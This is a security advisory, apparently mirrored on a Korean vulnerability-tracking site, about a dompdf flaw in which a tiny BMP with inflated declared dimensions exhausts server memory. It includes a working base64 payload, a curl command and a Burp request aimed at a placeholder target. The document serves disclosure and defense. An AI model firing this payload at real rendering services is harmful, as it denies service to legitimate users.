Dompdf: Uncontrolled resource consumption based on declared BMP dimensions
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
예측 데이터 없음
실측 악용 기록 없음
계획된 패치 주기 내 조치(60일 이내)
CVSS 벡터 · 메트릭
CVSS 벡터 정보 없음
상세 설명
Summary
dompdf accepts a BMP image and generates a PDF-compatible PNG based only on its declared header dimensions and never bounds width × height before the image is converted through GD. A 58-byte BMP whose header declares e.g. 6000×6000 is accepted and later drives imagecreatetruecolor($width, $height) (and PHP's native BMP decoder) to allocate the full pixel canvas.
A payload can fit in a single HTTP request: the BMP can be inlined as a data:image/bmp;base64,… URI inside attacker-controlled HTML, so no upload, no remote fetch, and no chroot-reachable file is required. It was demonstrated that a 169-byte request drove dompdf to render to ~412 MB peak RSS and ~4.8 s of CPU/wall time, versus ~34 MB for an identically-sized benign request — roughly a 12× memory amplification per request, repeatable and unauthenticated.
Details
Root cause
The image is processed based on declared dimensions and type alone — no pixel budget:
1// src/Image/Cache.php:131-134 2list($width, $height, $type) = Helpers::dompdf_getimagesize($resolved_url, $options->getHttpContext()); 3if (($width && $height && in_array($type, ["gif","png","jpeg","bmp","svg","webp"], true)) === false) { 4 throw new ImageException("Image type unknown", E_WARNING); 5}For BMPs that getimagesize() does not fully parse, dompdf trusts the raw header fields:
1// src/Helpers.php:833-837 2if (substr($data, 0, 2) === "BM") { 3 $meta = unpack("vtype/Vfilesize/Vreserved/Voffset/Vheadersize/Vwidth/Vheight", $data); 4 $width = (int) $meta["width"]; 5 $height = (int) $meta["height"]; 6 $type = "bmp"; 7}At conversion time the canvas is allocated from those declared dimensions, before any check that enough pixel data exists:
1// src/Helpers.php:868-869 — native decoder is tried FIRST on PHP >= 7.2 2if (function_exists("imagecreatefrombmp") && ($im = imagecreatefrombmp($filename)) !== false) { 3 return $im; 4} 5// src/Helpers.php:940 — hand-rolled fallback 6$im = imagecreatetruecolor($meta['width'], $meta['height']);There is no maximum width/height or maximum total-pixel guard anywhere on this path.
Source-to-sink
- Attacker HTML reaches
Dompdf::loadHtml()with<img src="data:image/bmp;base64,…">(or any BMPsrc). Dompdf::render()decorates frames;Frame\Factorymarks<img>as an image;FrameDecorator\ImagecallsImage\Cache::resolve_url().Image\Cache::resolve_url()accepts the BMP on declared dimensions/type (src/Image/Cache.php:131-134).- During render,
Adapter\CPDF::image()identifies the BMP and calls_convert_to_png()(src/Adapter/CPDF.php:593). _convert_to_png()invokesHelpers::imagecreatefrombmp(), which allocates the full canvas — via the nativeimagecreatefrombmp()on PHP ≥ 7.2, or the hand-rolledimagecreatetruecolor()fallback otherwise.
PoC
erified against dompdf @ a6ddc4f on PHP 8.3.6 with GD enabled.
The crafted BMP is 58 bytes: a 14-byte file header + 40-byte BITMAPINFOHEADER declaring the target width/height at 24bpp + 4 padding bytes. Inlined as a data URI, the full attacker payload is 169 bytes:
1<html><body><img src="data:image/bmp;base64,Qk06AAAAAAAAADYAAAAoAAAAcBcAAHAXAAABABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==" style="width:1px;height:1px"></body></html>(The base64 above decodes to a 58-byte BMP declaring 6000×6000. The CSS width:1px;height:1px does not help the defender — the intrinsic decode happens regardless.)
1 — Direct conversion
1native imagecreatefrombmp exists: yes 2dompdf_getimagesize => 6000x6000 type=bmp 3imagecreatefrombmp => GdImage 6000x6000 (allocated from a 58-byte file) 4Maximum resident set size: 160 MB (10x10 control: 24 MB) 5php_peak (PHP-managed): 0.8 MB <-- GD memory is native; PHP memory_limit does NOT cap itThe PHP-managed peak is under 1 MB while RSS is 160 MB: the canvas lives in GD's native allocator, so memory_limit does not bound it.
2 — Full Dompdf::render()
1declared 6000x6000 payload 169 bytes render 5.8 s RSS ~417 MB output 106 KB 2declared 10x10 payload 169 bytes render 0.01 s RSS ~30 MB output 1.4 KB3 — HTTP reproduction (curl / Burp)
Reproduced against a minimal PDF endpoint (server.php, included) that simply renders posted HTML — the shape of any invoice/report/HTML-to-PDF service. The endpoint sets isRemoteEnabled=false; the attack still works because data: URIs are an allowed protocol by default and need no remote fetch.
curl:
1curl -s -X POST "https://TARGET/render" \ 2 --data-binary '<html><body><img src="data:image/bmp;base64,Qk06AAAAAAAAADYAAAAoAAAAcBcAAHAXAAABABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==" style="width:1px;height:1px"></body></html>' \ 3 -o /dev/null -w 'http=%{http_code} time=%{time_total}s\n'Burp Repeater (enable "Update Content-Length"):
1POST /render HTTP/1.1 2Host: TARGET 3User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 4Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 5Accept-Language: en-US,en;q=0.5 6Accept-Encoding: gzip, deflate, br 7Content-Type: text/html 8Connection: close 9 10<html><body><img src="data:image/bmp;base64,Qk06AAAAAAAAADYAAAAoAAAAcBcAAHAXAAABABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==" style="width:1px;height:1px"></body></html>Observed (peak RSS read from the worker's /proc/<pid>/status VmHWM, each on a fresh worker so the high-water mark is per-request):
1[ATTACK ] declared 6000x6000 request=169 B -> 200 application/pdf output=106397 B server peak RSS ~412 MB wall 4.8 s 2[CONTROL] declared 10x10 request=169 B -> 200 application/pdf output=1407 B server peak RSS ~34 MB wall <0.1 sTwo identically sized 169-byte requests; the only difference is the dimensions declared inside the 58-byte BMP. The attack request costs ~378 MB extra native memory and ~5 s CPU. The cost scales with declared width × height, bounded only by the 32-bit header fields and the host's available memory (the process is OOM-killed before the theoretical maximum).
Impact
A single unauthenticated 169-byte request forces ~400 MB of native allocation and several seconds of CPU in the rendering worker. PDF rendering is typically done by a small pool of PHP-FPM or queue workers; a handful of concurrent requests exhausts that pool's memory and stalls or OOM-kills workers, denying service to legitimate users. Because the heavy allocation is in GD's native allocator, a per-request memory_limit does not contain it.
Caveat: this is a resource-exhaustion (DoS) primitive, not data disclosure or code execution. Some deployments already sandbox dompdf behind render timeouts, worker memory caps (cgroups), or job isolation — those reduce real-world impact. However, the specific GD implementation on a system may not be constrained by PHP limits, allowing system-level resource consumption beyond those allocated to PHP.
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.